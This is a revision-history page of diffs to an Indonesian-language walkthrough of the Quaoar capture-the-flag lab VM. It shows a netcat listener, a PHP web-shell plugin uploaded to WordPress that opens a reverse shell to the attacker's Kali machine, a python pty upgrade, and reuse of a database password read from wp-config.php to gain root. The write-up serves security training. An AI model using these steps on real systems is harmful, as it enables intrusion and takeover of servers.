CTF Quaoar: Walkthrough - Revision history

Onnowpurbo at 13:53, 21 August 2023

2023-08-21T13:53:36Z

2023-01-27T02:41:24Z

Berburu Flag 2: Root

2023-01-27T02:40:36Z

Privilege Escalation (getting root)

2023-01-27T02:37:29Z

Berburu Flag

2023-01-27T02:29:29Z

Start netcat listener di Kali

2023-01-27T02:29:14Z

Alternative Inject Fake Plugin

2023-01-27T02:29:00Z

Inject cmd vulnerability

2023-01-27T02:28:26Z

Start netcat listener di Kali

2023-01-27T02:26:58Z

Start netcat listener di Kali

2023-01-27T02:24:32Z

Start netcat listener di Kali

@@ Line 2: / Line 2: @@
 * https://www.vulnhub.com/entry/hackfest2016-quaoar,180/#download
-* Install OVA di VirtalBox
+* Install OVA di VirtualBox
 * Jalankan, ada clue di page depan Quaoar saat jalan.
 * Difficulty Level: Very Easy

@@ Line 1,020: / Line 1,020: @@
 Cek,
-−
   cd /
   find / -perm -4000 -user root 2> /dev/null
-−
 Tampaknya tidak ada  yang terlalu menarik.
 Cek wp-config.php,
-−
   cat /var/www/wordpress/wp-config.php
-−
 Hasilnya,
-−
   .....
   /** The name of the database for WordPress */
@@ Line 1,050: / Line 1,050: @@
   define('DB_COLLATE', '');
   .....
-−
 DB_PASSWORD rootpassword! - Keren!
 Jajal,
@@ Line 1,059: / Line 1,058: @@
   Password: rootpassword!
   root@Quaoar:/#
-−
 Masuk :) ..
 Root Flag
-−
   root@Quaoar:/# cd /root
   cd /root
@@ Line 1,084: / Line 1,082: @@
 e3f9ec016e3598c5eec11fd3d73f6fb
   root@Quaoar:~#
 ==Berburu Flag 3: Root==

@@ Line 1,085: / Line 1,085: @@
   root@Quaoar:~#
-==Privilege Escalation (getting root)==
+==Berburu Flag 3: Root==
 cara-cara di atas semua tidak berhasil.

@@ Line 140: / Line 140: @@
 Tampaknya yang mungkin menarik untuk di exploit adalah port web 80.
-==Berburu Flag==
+==Berburu Flag 1: Web==
 ===Pakai dirb===
@@ Line 1,014: / Line 1,014: @@
 bafe61f03117ac66a73c3c514de796e
   www-data@Quaoar:/home/wpadmin$
 ==Privilege Escalation (getting root)==

@@ Line 964: / Line 964: @@
 Upload, JANGAN di aktifkan
-==Start netcat listener di Kali==
+===Start netcat listener di Kali===
 Start 4444 listener

@@ Line 910: / Line 910: @@
   uid=33(www-data) gid=33(www-data) groups=33(www-data)
-==Alternative Inject Fake Plugin==
+===Alternative Inject Fake Plugin===
 Di Kali Linux

@@ Line 830: / Line 830: @@
   password admin
-==Inject cmd vulnerability==
+===Inject cmd vulnerability===
 Coba login ke
@@ Line 909: / Line 909: @@
   -rw-r--r-- 1 www-data www-data 2.4K Oct 12  2016 taxonomy-post_format.php
   uid=33(www-data) gid=33(www-data) groups=33(www-data)
 ==Alternative Inject Fake Plugin==

@@ Line 996: / Line 996: @@
   www-data@Quaoar:/$
+  www-data@Quaoar:/$ cd /home
+  cd /home
+ www-data@Quaoar:/home$ ls
+ ls
+ wpadmin
+ www-data@Quaoar:/home$ cat wpadmin
+ cat wpadmin
-Perlu diingat! jangan lupa jalankan 2 perintah ini ketika sudah berhasil connect back
+ cat: wpadmin: Is a directory
+ www-data@Quaoar:/home$ cd wpadmin
-  $ python -c "import pty; pty.spawn('/bin/bash');"
+ cd wpadmin
-  $ export TERM=xterm
+ www-data@Quaoar:/home/wpadmin$ ls
-Privilege Escalation (getting common user)
+ ls
-Silahkan baca output dari linuxprivchecker.py. Ada hal yang menarik dari versi kernel tersebut
+ flag.txt
+ www-data@Quaoar:/home/wpadmin$ cat flag.txt
-[+] Kernel
+ cat flag.txt
-    Linux version 3.2.0-23-generic-pae (buildd@palmer) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu4) ) #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012
+bafe61f03117ac66a73c3c514de796e
-Dan ketika saya ingin kompile dan jalankan exploit, hal yang saya takutkan benar-benar terjadi
+ www-data@Quaoar:/home/wpadmin$
 ==Privilege Escalation (getting root)==

← Older revision		Revision as of 02:26, 27 January 2023
Line 986:		Line 986:
	/bin/sh: 0: can't access tty; job control turned off		/bin/sh: 0: can't access tty; job control turned off
	$		$
		+
		+	Akses shell yang lebih dalam,
		+
		+	$ whoami
		+	www-data
		+	$ whereis python
		+	python: /usr/bin/python2.7 /usr/bin/python /etc/python2.7 /etc/python /usr/lib/python2.7 /usr/local/lib/python2.7 /usr/include/python2.7 /usr/share/python /usr/share/man/man1/python.1.gz
		+	$ python -c 'import pty; pty.spawn("/bin/bash")'
		+	www-data@Quaoar:/$
		+
		+
		+
		+

@@ Line 971: / Line 971: @@
   nc -nvlp 4444
-Browse untuk connect ke port
+Aktifkan shelly shell
-* cek IP address kali linux dengan perintah "ifconfig eth0", misalnya hasilnya 192.168.0.62
+  http://192.168.0.122/wordpress/wp-content/plugins/shelly-plugin/shelly.php
 Di kali linux CLI akan ada kata2,
-  # nc -nvlp 4444
+  nc -nvlp 4444
   listening on [any] 4444 ...
-  connect to [192.168.0.62] from (UNKNOWN) [192.168.0.130] 60676
+  connect to [192.168.0.94] from (UNKNOWN) [192.168.0.122] 48071
-  whoami
+  Linux Quaoar 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux
-  www-data
+:23:43 up  1:10,  0 users,  load average: 0.00, 0.01, 0.07
-  python -c 'import pty; pty.spawn("/bin/bash");'
+ USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
-  www-data@pwnlab:/var/www/html$
+  uid=33(www-data) gid=33(www-data) groups=33(www-data)